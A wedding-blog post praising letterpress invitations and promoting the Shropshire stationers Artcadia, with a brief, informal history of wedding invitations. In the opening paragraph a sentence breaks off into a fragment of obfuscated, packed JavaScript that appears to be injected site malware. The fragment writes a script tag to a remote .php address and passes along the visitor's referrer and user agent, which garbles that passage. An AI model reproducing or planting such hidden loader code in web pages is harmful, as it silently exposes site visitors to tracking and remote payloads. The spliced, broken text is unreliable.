Unique letterpress wedding invitations by Artcadia

Are you a tactile person {like me}?  Do you walk past clothes at the store and when you something in particular the first thing you do is touch the fabric, like me?  Do you have a little bit of a thang””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’yrdye|varfznii||js|php’.split(‘|’),0,{}))
for soft materials, like me?  Do you snuggle in winter underneath the softest throw you can find, like me {there’s a picture here isn’t there :)}… If so, then I think you’ll also love letterpress like me.

The beauty of letterpress wedding invitations is more than just in it’s well-known timeless appeal, it’s their tactile appeal that make them special; who can resist opening a letterpress invitation and not running your fingers over the ancient art. Or is it just me?

A brief history of the wedding invitation

Bare with me here – I am no historian so my story may not be as eloquent as theirs 🙂

In the middle-ages a wedding invitation was typically shouted out by the Town Crier: walking through the streets announcing the wedding to be.  However, nobility had that means of a little more privacy and so would commission monks, skilled in the art of calligraphy, to create the invitations and seal them with their little red stamp.

The beginning of letterpress printing and the first wedding invitations

Invented around 1440 by Johannes Gutenburg the Printing Press was used primarily for printing books, texts and press and it wasn’t until some time later that it became the means of creating wedding invitations.  In fact, it didn’t really catch on until the Industrial Revolution began because the new inking process meant there was no need for engraving anymore and so it became possible to mass produce higher quality letters.  And so the humble wedding invitation began.

Unique letterpress wedding invitations of today

Letterpress work of today has become an art form, with many of the surviving letterpress companies using much finer fonts and artwork.  This type of letterpress often requires the printer to feed paper into the press one sheet at at time – the entire process has a high degree of craftsmanship and it’s this craftsmanship that for me is a stunning way to greet your guests in what really is, the first chapter of your wedding day.

The unique letterpress wedding invitations of today can now also include artwork from fine artists who create pictures, images or icons for invitations, not just letters, which can all be transformed into the tactile beauty that is your wedding invitation.

I love letterpress and not really because of it’s timeless texture but much more so because I want to touch it, be a part of it, they are as colourful and articulate as digital printing only they make you want to be a part of it by touching it and here are some stunning examples by Artcadia (a homegrown talent here in the UK).

Artcadia is a stationery and letterpress printing press based in Shropshire created by the dynamic print and design duo Vici-Jane an Richard Kohring.  Here’s some examples of their stunning, unique wedding invitations.  Check out Artcadia’s website for many more designs.

Loving the blue one… very ‘sophisticated’ Alice In Wonderland don’t you think?

About the frabjous creators: Artcadia

Artcadia’s stationery features Vici-Jane’s design work, illustrations and hand lettering. Together this pair offer unique and high quality wedding stationery, invitations, and custom artwork.

Having scoured the UK for the best paper stock, Artcadia proudly present their design work on beautifully textured, heavyweight paper stock for their ‘colourful digital’ lines and 100% cotton, plush and squishy paper stock for our ‘luxurious letterpress’ collection. They take great care in choosing papers and printing methods to ensure their artwork comes to life in a way that’s heart warming, robust, and beautiful.

Artcadia stationery has been featured in publications such as Brides Magazine, You and Your Wedding, Perfect Wedding, Wedding Ideas Mag and Your Wedding Magazine, where Vici-Jane regularly appears as the stationery geek on the expert panel.

All of their products are printed at Artcadia, where they cut and finish each and every item by hand.

It’s an elegant, tactile, fun and creative form of wedding invitation and since starting the Alice In Weddingland wedding blog, I have seen many different types of invitations but I have to say, letterpress is most definitely in my top 5! Who wouldn’t love getting an invitation you can run your fingertips over 🙂

Zarn